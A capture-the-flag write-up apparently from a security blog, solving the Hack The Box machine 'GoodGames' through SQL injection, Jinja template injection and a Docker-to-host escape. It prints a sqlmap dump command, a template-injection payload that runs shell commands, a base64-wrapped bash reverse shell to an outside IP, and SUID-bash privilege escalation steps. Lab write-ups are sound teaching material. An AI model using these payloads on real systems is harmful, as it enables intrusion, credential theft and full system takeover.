GoodGames HTB Writeup | HacktheBox

Introduction

In this Post, Let’s See How to CTF GoodGames from hackthebox and if you have any doubts comment down below 👇🏾

Hacking Phases in GoodGames HTB

  1. Initial Access: Finding a way to get into the system.
  2. TCP Port Scan: Checking for open doors on the internet.
  3. Initial Enumeration: Finding out what’s already there.
  4. Web Page Enumeration: Looking for pages on websites.
  5. SQL Injection Exploitation with sqlmap: Sneaking into databases using tricks.
  6. Admin Console Enumeration: Finding secret pages for admins.
  7. Internal Sub Domain Enumeration: Finding hidden parts of the network.
  8. Server-Side Template Injection (SSTI) Exploitation: Tricking the server to do what we want.
  9. User Flag: Finding the user’s secret.
  10. Privilege Escalation: Getting more power.
  11. Docker Enumeration: Finding out what’s in Docker.
  12. SUID Permission abuse: Tricking the system into giving us more power.
  13. Root Flag: Getting the highest level access.

Let’s Begin

Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on X.

Let’s Hack GoodGames HTB 😌

https://twitter.com/HacklikeHacker

Nmap

nmap -p- -A <Target IP>
PORT   STATE SERVICE  VERSION
80/tcp open  ssl/http Werkzeug/2.0.2 Python/3.9.2
|_http-favicon: Unknown favicon MD5: 61352127DC66484D3736CACCF50E7BEB
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS POST
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store

When we go to port 80, we see a page about games. It tells us what games are currently available.

Web Enumeration

But it’s only a page that doesn’t change, so clicking on those links won’t take you anywhere. There’s also a page for a store that says it will open soon.

There’s a login page, but it wants an email address, so I skipped that and just signed up as a new user.

Once we make a user, we can log in to the website.

When resetting the password, I checked to see if it was accepting a username in the parameters.

It didn’t accept any username, so I went back to the login page.

SQL Injuction

We can’t do SQL injection like this because it’s expecting an email format. So, I used Burp to catch and save the request, and then I ran SQLmap.

This means it’s open to SQL injection. Let’s just get all the data from the database.

Since it’s a time-based SQL injection, it’s taking a while to get all the data. So, we’ll just focus on dumping the users table.

sqlmap -r sql --batch -D main -T user --dump

Then, we can ignore the rest of the data since we only wanted the admin hash. We’ll use CrackStation to crack the hash and get the password “superadministrator”.

Now, we’ll log in using the admin credentials.

Once we become admin, we can see more options that lead us to internal-administration.goodgames.htb.

This takes us to another login page for Flask Volt.

Finding Vulnerability

I checked if there were any default credentials, but it seems like it’s just a template on GitHub for Flask applications’ login page. Since it’s a Flask application, it might be vulnerable to one of the common attacks, like Server Side Template Injection (SSTI). This is something worth investigating further.

Now, let’s search for a place where we can test SSTI payloads.

The settings page has a field for entering a username. So, let’s test it with the payload {{7*7}}. It should show the result as 49.

It worked! Now, we need to figure out which template engine it’s using. To do that, we can check with the payload {{7*’7′}}. If it still shows the result as 49, it means it’s using Twig. But if it shows 7777777, then it’s using Jinja.

Okay, since it’s Jinja, let’s search for a payload that lets us run commands.

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

With this payload, we can run shell commands.

User

This gives us access as a root user, which is unusual. Usually, you’d get a less powerful user like “www-data” or another one. This app may be running in a Docker container. To get a shell, we can use a bash reverse shell. First, we need to change the reverse shell payload to base64.

echo "bash -i >& /dev/tcp/10.10.14.77/2222 0>&1" | base64
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ny8yMjIyIDA+JjEK" |base64 -d| bash').read() }}

Executing the command “ifconfig”.

The IP address confirms we’re inside a container. When we run “df -h” to check disk space, we see a directory “/home/augustus” from “/dev/sda1”. Since this user doesn’t exist in the Docker container, it’s likely mounted from the host machine.

So, I decided to set up SSH for Augustus by making a “.ssh” folder and putting the public key in the “authorized_keys” file.

Then, I changed the owner of that folder to Augustus.

But the host machine didn’t have the SSH service running when we scanned it with nmap. It may be only open locally or accessible from the container.

We can’t do that. We know the IP address of this container is 172.19.0.2, and when we run a Docker container on a host machine, that machine becomes a gateway and is assigned the IP 172.19.0.1.

Let’s confirm this by transferring a static binary of nmap.

This shows that ports 80 and 22 are open, so let’s try it out.

And now we’re on the host machine.

Root

I’m running “sudo -l” to check our permissions, but there’s no “sudo” binary available.

So, going back again, we noticed that we can change permissions in Augustus’s folder. Let’s create a file and see if it gets the right permissions.

Upon logging back in, we notice that the file has root permissions. So, we can simply copy “bash”, make it a SUID (Set User ID) file, and execute it on the host machine.

But it didn’t work and started complaining about a missing library file. So, I copied my host machine’s bash file to the Docker container, made it a SUID again, and then tried running the binary, and it worked.

Conclusion

In conclusion, through a series of steps and observations, we successfully gained access to the host machine from within a Docker container.

We identified vulnerabilities, exploited them, and navigated through various security measures to achieve our goals.

This process involved leveraging different techniques such as SQL injection, Server Side Template Injection (SSTI), and privilege escalation. Ultimately, this exercise underscores the importance of robust security practices to mitigate such risks and protect against unauthorized access.


Also Read: HTB Write-ups

Share your love
Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

We have detected that you are using extensions or brave browser to block ads. Please support us by disabling these ads blocker.Our website is made possible by displaying Ads hope you whitelist our site. We use very minimal Ads in our site